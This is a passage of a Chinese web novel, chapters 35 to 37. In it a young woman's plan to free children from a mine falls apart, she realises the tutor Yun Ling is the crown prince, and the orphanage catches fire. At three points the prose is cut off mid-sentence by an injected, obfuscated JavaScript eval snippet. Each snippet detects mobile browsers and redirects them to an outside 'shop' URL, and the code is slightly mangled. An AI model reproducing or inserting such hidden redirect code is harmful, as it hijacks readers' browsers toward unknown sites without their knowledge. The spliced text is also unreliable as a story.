这下属于两位有情人的月下密探,掌事再跟上前去听就不礼貌了。掌事欲去追,前路却被送沛宁安排好的裴钱霍挡在中间。裴钱霍惯常黑着一张脸,面无表情,挺壮的一个人居高临下地拦着他。 掌事见此情形,遥望月中偎倚相亲的二人,心中快速比较了利弊,最终笑脸相迎地跟裴钱霍做出了“请”的姿势。 裴钱霍很给面子地见到台阶下了一步,与那位掌事所在同一方向,二人一起遥望月下浓情蜜意的两位主子。 当然表面上是两位家仆操心着自家主子的终生大事。 掌事长叹一声,说道:“我瞧着,两位主子好事将近。” 裴钱霍的眼睛懒得看这个满身都是心眼子的掌事,却不得已佯装忧心地回答:“依我看不见得,我家女公子如此敢爱敢恨,到底还得问过我们家老爷子的意思。” 一个半推半就,一个欲拒还迎,戏是叫戏外的这两位做足了。 再看月下的宋女公子与徐公子如何呢。 只见送沛宁听完全部的故事,心里已是清明了几分,果然事情和她料想得八九不离十,她的网放得也差不多,可以收网了。 小一在月光下,面容柔和,说起来,他与当年的阿回确有几分相像。 “女公子打算如何?”小一问。 宋沛宁胸有成竹地笑,“过几日,我会假装去你的矿场考察,记得像模像样地清点一下你的矿场,但这些都只是走个过场,接下来我会把小五小六小七派去,外面有我和裴钱霍接应,我们争取能救出多是多少。” 小一提出疑问:“幕后黑手,那个所谓的大人,不抓了吗?” “抓。”宋沛宁点点头,“相比那位大人位高权重,他手下的利益线绝不会是这一条,他想躲想藏,任凭我们掘地三尺都挖不到的。索性我们先断了他这一条线,逼他自己跳脚现身。” 小一听完没有立刻赞同,微微皱了皱眉头,“这一招棋,是否太险了?万一他伺机报复,我怕危及到女公子安全,当初在信上也同你坦白过,小一我是一边怕你不来,一边又怕你来……” “不怕。”宋沛宁回答得很笃定,“不入虎穴焉得虎子,一个安全无虞的成长环境比被伤害后重建的家园更重要。我想好了,等事情办妥了,京城恢复太平了,这京郊的慈幼院就归你。” “那女公子你……” “我回临舟去,家里还有放不下的爹娘,兴许……兴许还要带一人回去,京城这边就要辛苦你了。” 35. 卿卿 即便一场纷争注定近在眼前,但陆陆续续找回与她走失的人,还是难免在乌云重压下偷偷窃喜。 如今每当宋沛宁看向云翎,知道他就是长大后的阿回,心里总是忍不住感叹,时光如梭,阿回就这么长大。过去她如何在心里描绘阿回长大的样子,阿回如今,就长成什么样子。 喜欢吃素,喜凉食,不爱晒太阳。所以身形生得极瘦,皮肤又极好,瞧着好似文弱书生的模样,误以为此人好欺负,想来该是没什么力气。 但其实阿回只在宋沛宁面前毫无办法。几年前他离开临舟,一个人回到了京城,几次遭人围剿,死里逃生。重新坐上太子之位,第一件事就是为了自保,苦学武艺,如今几年过去,学有所成,时常与大内侍卫达成平手,而大内侍卫外再无对手。 阿回从小即喜静,长大后亦然。比起舞刀弄枪,闲时还是更喜欢看书,看书时只用一只手卷着手边读,手指修长且骨节分明。因此,比起舞刀弄枪的云翎,宋沛宁还是更喜欢读书时的阿回。 自从宋沛宁那日在雨中一语道破阿回的秘密,两人的关系便更为暧昧不清起来。 可若真要较真论起来,过去宋沛宁是宋家家主的掌上明珠,阿回只不过是一个不起眼的家丁,门不当户不对,任谁都不会将这样的两个人联系到一起去。现下却不同了,宋沛宁是慈幼院的院主,云翎也贵为当朝太子殿下的座下之宾,不可与昨日而语。 而长大后的阿宁不如过去那般的爱哭了,不爱哭也不如过去爱笑。她一个人,在没有阿回在身边的日子里,既要做自己,又要学着阿回教给她的去经营去争取。云翎常常瞥见她眼底沉着的光,每当宋沛宁的视线落在慈幼院满院撒欢玩闹的孩子们时,眼睛里就不会不经意流露出这样的神采。 同样,这也是云翎没见过的阿宁的样子。 分别许多年了,各自变成了不同又相似的人,不可与昨日而语罢。 近日来,宋沛宁不去小一的邀约时,便是去学堂的时候变多了。听云翎讲学问很有趣,仿佛是春日里的一处清冽的泉眼,柔和地潺潺地流着细细的泉水,甘甜又清澈。等到学堂结束,学生各自散去,留下两个人一起整理学堂。 两个人的气氛有时和谐知礼数,有时有些针锋相对。 云翎抬眼看了宋沛宁讪讪赶来的身影,哪壶不开提哪壶地说我:“今天是才吹的什么风,竟然把宋大女公子吹来了。怎么,今天不用陪徐公子赏花赏月亮了?” 眼下外界都在传言她与徐公子交好,大局为重,她在外面时常需与云翎划清界限。 于是宋沛宁听闻心虚,笑容随即又深了几分。 “先生说笑了。” …… 有的时候,又情不自禁失了分寸。 黄昏时分,整片大地被笼罩在橘红色的天光下,云翎和宋沛宁坐在学堂的屋脊上,看着天际橙红色的夕阳缓缓地落下。 宋沛宁喜欢追问云翎他离开自己之后的事情,于是不停地问出“然后呢”。 云翎挑挑拣拣,尽可能地都说给她听,不能说的……让云翎心里越来越害怕。如今和宋沛宁提早地相认,打乱了他原本的节奏,他不知道等到他的身份如实告诉她的时候,她还能不能接受。 霞光满天,照在宋沛宁的脸上,映出温暖的颜色。宋沛宁坐在云翎身边,目视远方笑得非常开心。显然忽略了云翎的心事。 “哦对了,我和小一说,等到京城的事情结束了,就把慈幼院交给他,你和我一起回临舟去,怎么样?” “好。”云翎没有办法拒绝宋沛宁,他何尝不想和她回去最一开始的地方,忽然想到什么,淡淡地笑了起来,“和你回临舟,还要做随从吗?” 宋沛宁闻言笑了,“你想吗?不过,我现在长大了,能做决定比小时候多多了,你也可以做别的想做的事情,只要开心就行。” 云翎微微侧头转向宋沛宁。 宋沛宁正说着话,被云翎突然认真地注视看得略微慌了神,晃了两下身子,最后摆了摆手为自己开脱说道:“嗯,还是你现在更习惯京城了呢……还是,还是你和太子签了卖身契要一辈子效忠他?说起来太子这个人倒是很神秘的,我上次游街见过一回,你和太子到底有什么样的秘密啊……不会是,你是他重金雇来的替身吧…………” 宋沛宁站起身来,兀自想象,越想越认真,越想越离谱,把自己吓得蹦起来。谁知人在房顶上,落地重心不稳闪了一下身,好不容易立住身形,便看见云翎被自己逗笑。 本来清浅的脸像是忽然有了生气,映着黄昏的颜色,云翎笑得十分好看。 “女公子?女公子!” 许是方才宋沛宁嚷得声音过大,惊扰了院中玩闹的孩子们。孩子们听到女公子的声音自然欢喜,以为女公子故意出声却不现身是在与他们捉谜藏。于是,孩子们纷纷加入游戏,跑了起来。 宋沛宁见状噤声,捂住嘴巴蹲了下来,脚下的瓦片脆生生地“吱扭吱扭”响个不停,云翎及时揽住宋沛宁的后背,稳住了她。 一个清冷的怀抱遮天蔽日地凑了上来。 宋沛宁不敢出声,却默默放下了捂住嘴巴的双手,鼻腔里传来云翎衣服上的香气,就像是潺潺溪流边泥土和着竹林的清冽香。 不知不觉就是深秋。 清晨的空气已经开始像起了严冬,吸入有一种凛冽的味道。深秋的落叶总是扫不完,没隔一会儿的功夫,干净的地面又落满了落叶。 小七人傻力气大,有劲没处使,被宋沛宁荣誉分别了扫落叶的活计。院里的孩子们淘气,深秋的落叶又脆又易碎,踩起来声音好听又好玩,常常调皮去踩落叶堆。小七好不容易扫好的落叶堆,一不留神就让熊孩子踩得稀巴烂,拎起扫帚追着孩子喊着教育。孩子们喜欢和小七兄玩,一个追一个跑,因此玩得很开心。 在还没出深秋的一日,京郊罕见地驶入几辆奢华富贵的马车车队,连坐在外边驾车的人都看着不是一般人,极为尊贵。车马排成排,在道路狭窄的京郊小路上左穿右绕,最后不由分说地停在慈幼院门口。 早知慈幼院宋女公子出身显贵,可入住以来行事十分低调,还从未见过女公子出行拉如此大得阵势。 街坊四邻见此阵仗都很好奇,忍不住侧目视线追随过来。 车子停稳,车夫先跳下车,去接轿子里的人。其他随行的家丁各司其职,各伺候各的主子,打车子停稳就忙活了起来。 忙活得差不多了,一个掌事模样的丫鬟,一步上前走到大门前,叩响了慈幼院的门闩。 院里的小七正和孩子们闹着,偶地听见叩门声,这才停了下来,放下扫帚,理了理衣襟去应门。 打开大门,大丫鬟的面前从中间开了一条缝照进来一束光,门全都敞开,光束也都宽了。 小七过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463241|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去在临舟见过这位掌事大丫鬟,在现在他是在京城,人微微愣了愣神,还是惊讶了一下。 “您……” 没等说完话,老爷在车夫的搀扶下,挑起帘子,走了起来。 小七的目光越过大丫鬟,落在下车的老爷身子,神情更惊讶了。 “老……老爷?” 不仅是老爷。 几个轿子的人接连走下来,舟车劳顿,一路上颠簸得很,半刻都不想在轿子里憋屈着。 “夫人……姨娘……小少爷……” 小七最恐上位者,惯喜欢跟着小孩子疯闹,舒适圈里呆久了,冷不防见到这些大人物,守门的小七欲哭无泪。 结结巴巴了半天,视线从走在最头的车,一路扫到最最末尾。 游历在外,小七险些就忘了宋员外那豪横阔绰的脾气,如此长的车马队伍一路来到京城,家主怕是把临舟整个家都搬过来了。 小七不敢有半分怠慢,拱手行了礼,急忙跑回去向女公子禀报。 “女公子!家主来了!夫人来了!……整个临舟的一大家子都来了!” 宋沛宁此时还在睡梦中,听闻小七在外拍窗户,迷迷糊糊地翻了个身,挠了挠脸,继续睡。 “还有这种好事……” “真的来了!!!” 宋沛宁没管他,倒是守门的竹叶跑上来制止小七,“别敲了!我去叫女公子!” 小七气喘吁吁,咽咽吐沫,朝竹叶点了点头。 竹叶进屋前替女公子吩咐下去,“你先去迎老爷,这事和裴掌事也知会一声,裴掌事会看着办。” “是。” 竹叶吩咐完,推门去叫女公子。 女公子犹在梦中,梦见阿回和阿爹同在一个饭桌上吃饭,其乐融融,吃的是火锅,翻滚的汤底看着十分可口。 “女公子,女公子。”竹叶挽起床帘,轻轻推了推宋沛宁,“女公子醒醒,老爷带着全家来看您了。” “老爷……?” 宋沛宁揉揉眼,眼见梦里的自己捞了一筷子肉马上要送到嘴里,最终也没吃成,彻底醒了。 “哪个老爷?我爹?” 竹叶立在床边,点了点头。 另一厢,小七跑到断气好不容易通知了裴掌事,又领命跑回来迎接宋老爷,就见临舟的车马已经全部有条不紊地卸了。 马儿该去马棚的去了马棚,车子该停在房后的停去了房后,老爷和夫人一干人等坐在大堂里喝着茶,随行家丁则各自散在树荫处等着。 小七揉揉眼睛,还没看明白。云翎带着先前玩闹的孩子从后厨那边排着队地走了过来,人手端着一份早餐。 在云翎的指挥下,孩子们规矩地走进大堂,按顺序先给贵人上了早点,后退了回来,又去后厨忙乎预备招呼随行的家丁。 云翎看见小七回来,径直走到小七跟前,看着孩子们的身影穿梭在院中。 “你回来了,通知好女公子和裴掌事了吗?” 小七愣愣,点了点头。 随后想起什么,小七问道:“这都是先生安排的?” 这次轮到云翎点头。 “先生怎么认识的我家家主?” 云翎心道:我认识你家家主,可比你认识你家家主早得多了。 但面上不显,微微笑着回答:“方才进门见此情形,自是方才刚刚认识的。” 36. 卿卿 待宋沛宁起了床穿戴整齐,急匆匆地赶至院里正中的大堂,本以为要面对一团乱哄哄的景象,没成想映入眼帘竟是一番其乐融融。 宋沛宁一时还以为看错了,只见堂前,阿爹坐在主位,满脸笑意地在和一名年轻的男子说话。男子形容清浅,礼数周全,二人在这时不知说了什么,一齐笑了起来。 这位清俊白衫,临危受命主持大局的年轻人,就是云翎。 宋家主对云翎方才的所作所为似乎十分称赞,于是笑着与其交谈了起来。 “这位小兄台,不知您是哪位,从何而来呀?” 云翎颔首回道:“在下云翎,是慈幼院的学堂教书先生。” “原来是云先生。” 已见过云翎的睿智,又听闻有学识,宋老爷子难免高看云翎一眼。心下仔细一琢磨,这云先生与小女阿宁倒是年岁相仿,算来他家阿宁也差不多到了该谈婚论嫁的年纪,他瞧这位风度翩翩,谦谦君子的云翎云先生就不错,说不定能谱写出一段佳话。 哎,阿宁这孩子嘴严得很,家书写了许多封,都没留过关于学堂先生的一笔一墨。 思及此,宋家主笑着问云翎:“先生可有婚配了?家是做什么的?” 一听自家老爷问出这话,当夫人的先替自家说话没轻没重的老头子脸红,回首怒瞪了老爷一眼,提醒他当着外人面说话注意些分寸。 不过云翎倒是不在意,笑了笑,接着回道:“在下还尚未婚配,家中也是京城普通人家,这才出来做先生,贴补些家用。” 云先生本人看着气度不凡,宋老爷子自诩看人很准,原以为云翎非富即贵,没想到只是普通人家。虽说家境是差了些,但就不代表往后一直如此,他看他颇有潜力。 宋老爷本还想问什么,就见夫人怒目而视不许他问了,张张嘴没发出声音,只好讪讪结束了。 二人对话声刚落,宋沛宁跟着提裙走了进来,欣喜大喊了声“阿爹、阿娘”,听到亲闺女的声音,二老也是坐不住了,紧忙站起来瞧。 离家数日,朝思暮想的好阿宁站在门口,老二口鼻子一酸,好险当场掉下眼泪。 阿宁,我家好阿宁。 几月不见,姑娘仿佛出落得更加大方,当真又长大了不少。 宋家夫妻拉着闺女的手心,左瞧右看,怎么看都看不够似的。云翎抽空看了看时间,约莫着学堂要开始了,给宋沛宁做了个手势,便自顾自安静地出去了。 爹娘要到京城来从没在心里提及过,想来携一家人千里迢迢赶过来,也是想要给宋沛宁一个惊喜。 毕竟等到深秋一过,初冬到了,就差不多是宋沛宁的十七岁生辰。宋沛宁怎么能不知爹娘此行的良苦用心,自然心里忍不住感慨,给从临舟来的一大家子都安顿好,又与二老叙了半日的话。 到了傍晚,为了给老爷接风洗尘,必是要吃顿好的。如今天气逐渐凉爽了下来,一家人围在一起最适合吃一顿热乎的火锅。 有好吃的也是忘不了云先生,云翎下了学被小厮领着也一同入席。裴钱霍白天进城给临舟来的各位采购了些平日里用的,路上耽搁了一会儿,但也踩着夕阳完全落下及时入了席。只可惜,裴大掌事裴不廖留在临舟操持没有一起前来,不然才是真正的人全了。 秋日的天慢慢变短,好在气候没有那么快变冷。全家人团圆的饭桌支在院子里,火锅上腾起的白汽冒在夜晚凉爽的空气中,一群人说说笑笑,果然家人只要在一起,不管中间时隔多久,都永远话说。 吃过晚饭,厨娘子端上来了晾好的临舟凉茶,叫上帮手一起收拾碗筷。 大桌子搬下去,院中重新成为孩子们的乐园。宋沛宁端着凉茶杯子,靠在一边,看着孩子你追我赶。弟弟宋玉襄长大了,今年十岁,有点小叛逆,管他什么少爷公子的身份,来到京城,见过有这么多人一起玩,才来一天边顺利跟人打成一片。 宋沛宁笑着用眼睛追着宋玉襄在院里跑跑跳跳,转念目光又伸向另一处坐在石凳上休息的爹娘,微不可闻地叹了口气。 一旁的云翎察觉到,朝宋沛宁走了一步,“我见今日家主来访慈幼院你很开心,怎么这会儿又叹上气了。” “还不是老爷子来的时候不巧。”宋沛宁不对云翎保密,无奈地吐露道,“过几天,我和小一的计划一旦开始,想必是一场腥风血雨,毕竟我一人安危事小,实在不想危及到家人。” 此前宋沛宁和小一的计划他已知悉,并和宋沛宁说,若开始行动,想必太子也会十分支持,他可以请太子加派人手,这样一来可以保证小五六七的安全,二来也能推进事情更加妥帖。 云翎沉思半刻,她说的不无道理,可她话里那句她一人安危事小,却听起来十分刺耳。 “这件事你别担心。”云翎安慰道,“此事既然太子已经知道,必然会保全你和你的家人,甚至是慈幼院。” 宋沛宁听完又叹了口气,高高在上的太子殿下就像是远在云端的神仙一样遥不可及,她不知道要怎么相信。但她也知道云翎正在好心安慰她,就算不相信太子,但至少可以相信云翎,于是宋沛宁略微放宽了心,点了点头。 转天没过几日,小五六七和太子派来的人手一起前往矿场。 与此同时,太子另外加派了一批高手,打扮成慈幼院收留的孩子模样,穿梭在慈幼院与其他同龄乞丐一同起居,暗中保护着慈幼院。 另一头送进矿场的人,在矿场开展的潜伏计划似乎也是一切顺利。 小一每日的一举一动都有掌事监视着,相较于小一,小五六七的行动要更自由一些。没过几天,从矿场内部飞鸽传出的地图、内部结构、矿场监管的人像等等相继回到慈幼院。 宋沛宁与裴钱霍、云翎三人整日商讨研究,到了第七日,手上的情报收集得差不多,又到了与小一相约月下做戏的日子。 行动能如此顺利,是二人都没有想到的,为了承接小五六七在矿场的卧底行动,小一也去了几次矿场,全当徐公子装腔作势地巡回自家矿场产业。 小五六七在矿场里度过这七日究竟过得如何,宋沛宁隐隐担心,可身边除了最信任的他们,她身边也再无人可用。 宋沛宁向小一打探小五六七的近况,“他们还好吗?” 小一回答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518776|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你且放心,因为说是从慈幼院过来的,监管他们一时也不敢露出马脚,毕竟这次进来的是牵头人,他们还指望着你完全相信他们了,再介绍更多的乞丐和流童去。” 话罢,小一似是想起了什么,转而说道:“算起来,自打离开临舟,也再没见过小五六七他们。单看个头都长高了不少,人却还和一样,尤其小六还如从前一样娇气,里面最爱喊累的就是他,可干起活来也不含糊。” 听到他们还是老样子,宋沛宁略微放宽了心,笑了起来。 继续和小一商量接下来的计划:“现下手上的情报差不多,我看可以收网了,另外还联合太子的势力,争取这次一网打尽,早日放矿场的弟兄们回家。” 小一思索,问:“那你们的行动,还有什么需要我配合你们的?” 宋沛宁想了想,笑了起来,然后抱歉地说:“这下矿场要没了,弟兄们的工钱许是彻底拿不到了,还希望大家不要怪我。如果你意愿,倒是欢迎来慈幼院学一门手艺,学成了再养活自己,这样就不用一直做苦力活了。” 小一也笑了,“女公子替弟兄们着想,我先替大家谢谢您。只是您能带他们恢复自由,他们怎么会怪您呢?” “那就好。” 做戏做得差不多,事也全部商量明白,宋沛宁作势准备走了。 “女公子……”犹豫了下,小一开口突然叫住宋沛宁,“我还有一事。” “什么?”宋沛宁回过头。 小一焦急的目光追落在宋沛宁脸上,望了半天,许是心里犹豫占了上头,最终收回眼睑,吞回了预备要说的话。 “也不是什么大事。”小一眨了眨眼,随后目光瞥向了远处,“兴许等到行动成功再说也不迟。” “好。”宋沛宁点点头,没有再顺着小一欲言又止的话深想,“等到成功了,邀请你来慈幼院一聚,想必小五六七早都想你这个阿兄了。” 距离在临舟的日子越来越远,不光是小一,好多人都会恍惚临舟的日子是否只是一场限定的梦。 可梦境太好,太欢乐,即使时过境迁的今天回想起来,还是能笑出来。 “好。” 小一联想起慈幼院的场景,很宽敞的大院子,很亲近的人,很温暖的家。 “到时一定去。” 就像回家了一样。 小一笑了,宋沛宁也笑了。 只是他们当时还不知道,离开慈幼院的孩子,也许再也回不去慈幼院。 与小一说完话,宋沛宁推门出了厢房。 奇怪的是,今日门外只有徐家掌事一人守在门外。这位徐家掌事面目狰狞,不知早年间是做什么的,脸上有许多难以忽略的伤疤,猛地撞见,宋沛宁心里忍不住一惊,但还是强装镇定地问:“裴掌事去哪里了?” 掌事恭敬地在回话前拱了拱手,“裴掌事说慈幼院有事,让小人先送您回去。” 慈幼院能有什么事,宋沛宁忍不住担心,这就要上车回去,小一闻言也紧锁了眉头,跟着宋沛宁登上了车。 徐家掌事见状也没有阻拦,沉稳地驾着马车,朝出城门的方向去了。 37. 卿卿 宋沛宁忧心忡忡了一路,抵达慈幼院却发现灯火如旧,似乎没什么大事发生。 守门的小厮见到女公子回来了,打开大门,宋沛宁人还没有走下马车,掀开帘帐先一步开口。 “慈幼院可是出了什么事?” 小厮冷不防被问得一愣,摇摇头回道:“并未发生什么大事呀。” 说话间,宋沛宁已经急匆匆地走下了车,小一紧跟在她身后,也掀开帘帐走了下来。 站定,宋沛宁接着问:“裴掌事呢?裴掌事可回来了?” 小厮迟疑了一下,被问得一头雾水的:“……裴掌事不是和您一起进城了,还未归,没和您在一起吗?” 没回。 宋沛宁又跟着紧张,正欲接着说什么,却缓过神有外人在,不大方便,话语转了个弯,面向小一假模假样地先行礼再送客。 “估计是出了岔子误传了,现在一看没什么事我也就放心了。”宋沛宁抬头,谢过徐公子和徐家掌事,“今日夜已深,我也不便多留二位,多谢掌事送我回来,择日定要好好招待二位。” 小一回礼,说了句“女公子不必多礼”,见果真没什么大事,放心地回过车上。 徐家掌事笑着,小一早已登上车了,仍盯着宋沛宁。面上深浅不一的疤痕,在夜晚昏黄的微光下显得面目可憎。 察觉到掌事不善的目光,宋沛宁转头看向掌事,“掌事还有事吗?” 话问出口,这掌事才将将收回视线,摇了摇头。 “无事,方才忽然觉得女公子眼熟,不知女公子还记不记得我了。” 眼熟?这话从何说起。宋沛宁一怔,还没来得及回家,掌事已经抄起马缰绳,驾着马车先一步离开了。 待徐家掌事走远,宋沛宁回过头问道:“家主呢?临舟来的一家子,都有没有事?” “女公子放心。”这守门的小厮,是先前云翎派来的安危,生人走了,警觉的真面目也显现出来,只见他朝女公子颔首行礼道,“家主一切平安,白天进城逛去了,许是走了一天身体乏了,回到家吃过晚饭早早地睡了。” 慈幼院没事,家主也没事。宋沛宁用手握成拳,锤了锤闷闷的胸口,想要化解心里的紧迫感。 为什么她还是心神不宁。 不知道裴钱霍是从什么时候离开的,她和小一在厢房里的谈话是否被徐家管事听去了,可是若没听去,徐家掌事愿意送她回家倒还算合理,若是听去了,为何还愿意送她回家?他方才临走时说的话是何意……? 宋沛宁心绪复杂,想立即找个人商量,朝门外的方向张望了一圈,却也没看见裴钱霍的身影,只好先自己消化。 随小厮一起进了门,忽然问起:“你可认识云翎?” 小厮想了想,斟酌地回答:“小人见过……云大人几面,云大人却是不认识小人的。” 宋沛宁拖长音调,兀自思索,还是个大人啊。 “他今天来了吗?” “学堂今日没课,大人没有来。” “没来……那明天来吗?” 他哪里来的那么大权力,还敢左右太子殿下的行踪。 小厮颤巍巍地推辞:“女公子莫怪,小人不知大人行踪。” 事实证明,宋沛宁的不安绝不是空穴来风。 直到翌日清晨,裴钱霍都没有回来。宋沛宁担心他出了事情,立马差遣了家中的暗卫先去进京寻找,一面又宽慰自己,裴钱霍习武多年,若非顶尖高手,普通的小贼定不能伤他分毫。 裴钱霍不在,家中老爹隐约察觉到,想是女儿在慈幼院上吃了绊子,本想安慰几句。但里面的弯弯绕绕,宋沛宁不好直接和阿爹讲,父女两个一时之间也生了几句嫌隙,宋老头子一个人回屋生闷气去了。宋沛宁心知肚明,但想着待一切都解决妥了,再去找阿爹赔不是,便随他去了,也没去追。 祸不单行,每日例行从矿场的飞鸽传书也失约了。宋沛宁在家中左等右等,最后只得再派人手,一拨人去了趟徐府,探探那头的口风,又加派了几人悄悄靠近小五他们密信上传来的矿场位置一探究竟。 于是这人手分了一拨又一拨,留在府上的便仅剩下守门的几个强撑场面。而分出去的那些人,迟迟未归,想来还在奔波,估计回来也带不回如何的好消息。 等到中午,从矿场回来的暗卫赶回来了,“女公子,矿场……人去楼空了。” “什么?” 果然不出所料,矿场定是听到什么消息,连夜做出了行动。 宋沛宁一拍桌子从凳子上站了起来,“那小五六七呢?” 暗卫犹豫了一下,但也只能实话实说道:“小五六七他们也跟着矿场消失。” 得到答案,宋沛宁紧闭了嘴巴,忽然后悔自己让小五六七深入矿场是否太过冒失。 “不过,女公子您也别太担心了,小五六七与我们的暗卫一起失踪,我们的人会保护他的。” 暗卫只能暂时这么安慰她。 沉重的不安感还在持续,尽管宋沛宁告诉自己越紧要的关头,越不能慌乱,但在房里来回踱步心就是静不下来。 裴钱霍,仿佛人间蒸发了一般,还是没有回来。 慈幼院出了这么大事,有暗卫上前建议需不需要他们帮忙上报太子,宋沛宁想了想,最后摆了摆手。 她精心布局安插在各处的暗线,小一、小五六七、裴钱霍,竟在一天之内全部断了。宋沛宁不得不深究,难道是她何时漏出过马脚被矿场的人发现了,还是……? 这天对于宋沛宁来说无疑是漫长的。垂头丧气时,她甚至忍不住想,或许没有了他们,她不能成任何事,或许她才是那个最最无能的人。 就这么坐以待毙,等得她头皮发麻,心像是长了草。不能问再等下去,宋沛宁索性站起身,朝暗卫喊了一句,提步往大门方向去了。 “备马,进城。” 宋沛宁进城,一是想亲自确认小一是否无虞,若是见到小一,旁敲侧击徐章事的意思,也得能摸清几分底细。二是去一趟医馆,说来也可笑,云翎还问从来没有告诉过她家住何处,每次想找他都要去医馆碰运气,尤其今天,这样的感觉愈发强烈,仿佛云翎之于她是一只断了线的风筝。 于是这第一件事,宋沛宁就算亲自来到徐府也免不了吃上一碗闭门羹。徐府大门紧闭,里里外外都没个有人气的样子。 暗卫在宋沛宁身后叹了口气,劝道:“女公子,早前我们的人已经来到徐府了,仔细确认过徐府没人,好像是一夜之间遣散的。您在这守着不妥,怕是惹祸上身,我们还是早些离开。” 而第二件事也不顺,医馆虽然如旧开张营业,但云翎不在。宋沛宁表明来意,有急事想找云翎,黄大夫却无奈地说只能代为传话,等云翎收到消息,自会去慈幼院找女公子。 宋沛宁一时迷惑了,云翎不是黄大夫的徒儿,为何像是连黄大夫找他也不似容易? 但宋沛宁还是先行谢过了黄大夫,正要走出医馆时,忽然又被黄大夫叫住。 “你今日和他一块来的?”黄大夫话罢,指了指宋沛宁身后的暗卫,“你叫他去找云翎,找他比老夫快多了。” 宋沛宁看向暗卫,又看了看黄大夫,不知黄大夫话里的意思。 “这样罢。”黄大夫出主意说到,“我瞧你失魂落魄得很,且先留在我这,你叫暗卫快去快回,通报完了再来接你。” 宋沛宁向前挪了一小步,急急追问:“若我去暗卫一同去呢?我亲自去见云翎,何必次次都等他来见我。” “不可。”暗卫推辞,“我一人去就好,您去可能不大方便。” 这又是何意?宋沛宁惶恐地回头看了看黄大夫。 今日的打击太多,孰轻孰重已经无法比较,云翎的身份或许是今日窥见的所有事情中最无足轻重的一件。 宋沛宁没有坚持再问下去,放了暗卫离开,叮嘱他快去快回。 暗卫走后,大堂内的宋沛宁与黄大夫一时无话,似乎谁都不知该从何说起。 “黄大夫,您说云翎是什么人,是不是一件很重要的事情?” 宋沛宁叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533013|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,像是在今日所有繁杂琐碎的事情中,理清关于云翎的源头。 “重要到如果我知道了,我们就不能再是像今日这样自由平等的关系对吗?” 宋沛宁冷静地说道:“云翎就是太子,对不对?他之前说什么太子的门徒,什么太子的青睐,都是骗我的,对不对?” 黄毕淳说不出反驳的话,内疚惭愧地转而看向医馆的大门外。 “殿下他……并无坏心思,不是有意瞒你。” “我知道。” 宋沛宁说完话,目光也跟黄毕淳一齐探向大门外,从前无数次云翎跨过医馆破旧的门槛,笑盈盈地走进来,只为见她一面。 他用所有的诚意待她,所有的真心待她,宋沛宁不是不知道。所以她也愿意,用她所有的真诚去相信他。从来没想过,这样的相待背后,云翎也曾同样用所有的诚意、所有的真心,去骗了她。 哪怕平等地相视过一瞬间也好,原来这才是他们多年重逢后的真相。 暗卫说好快去快回,果然稍微等了一会儿,很快就回来了。 暗卫来报:“云……殿下说他知晓了,晚上自会去慈幼院去女公子相见,并解释清楚。” 宋沛宁点点头,等待暗卫的期间似乎已经调整好了心境。 “天色不早了,我们快回吧。” 宋沛宁与黄大夫辞行,转身走出了门。暗卫得令,紧跟在宋沛宁身后,驾车返回慈幼院。 暗卫回来时天色已经隐隐擦黑,驱车一路出城门,行至京郊,天便彻底暗了下来。 还没走到慈幼院,只见刚过了街拐角,烧焦的冷空气蔓延进马车里,宋沛宁只觉不对,立刻掀开窗口的帘子看。 车窗外惊慌的人群,街尽头,慈幼院的方向,火光冲天。 “走水了!走水了!” 宋沛宁不敢置信,火速掀开卷帘,不管脚下还在行进的车子,慌忙跳了下去,连着暗卫在身后那句“女公子危险”一并抛在脑后。 聚在慈幼院门前的行人越来越多,有许多孩子闻着焦火味逃了出来,但实在太害怕了,束手无策地坐在地上哭。稍微大些的孩子与家丁赶着救火,冒着汗忙碌地穿梭在慈幼院前后。 火势汹汹,燃得骇人。临近了,将人的瞳孔都映成火红的颜色。 宋沛宁看到这彻底慌了神,浓烟滚滚,她眼看着漫天的火舌强势地不由分手地卷塌房梁,瓦片接连不停地相继坠下来,摔得粉碎。 宋沛宁环视着站在外面逃出来的人,抓起身边的人就问:“我爹呢,我爹呢?” 被抓的孩子还在哭,见到是女公子便哭得更大声,呜咽着断断续续好久才说清楚。 “家主说女公子不在家,就由他替你撑起这个家,必不叫它烧成灰烬,什么都不剩下。老爷帮忙救出我们之后,又指挥着去救火,冲了进去,现在……现在还没出来。” “爹……爹……” 宋沛宁听到此处,再听不下去了,失声痛哭,不管不顾,踉跄着就要往大火里面钻。却被暗卫及时按住,动弹不得。 “女公子您不能进去,火势太大了,危险!” “我爹还在里面,难道他就不危险吗?!” 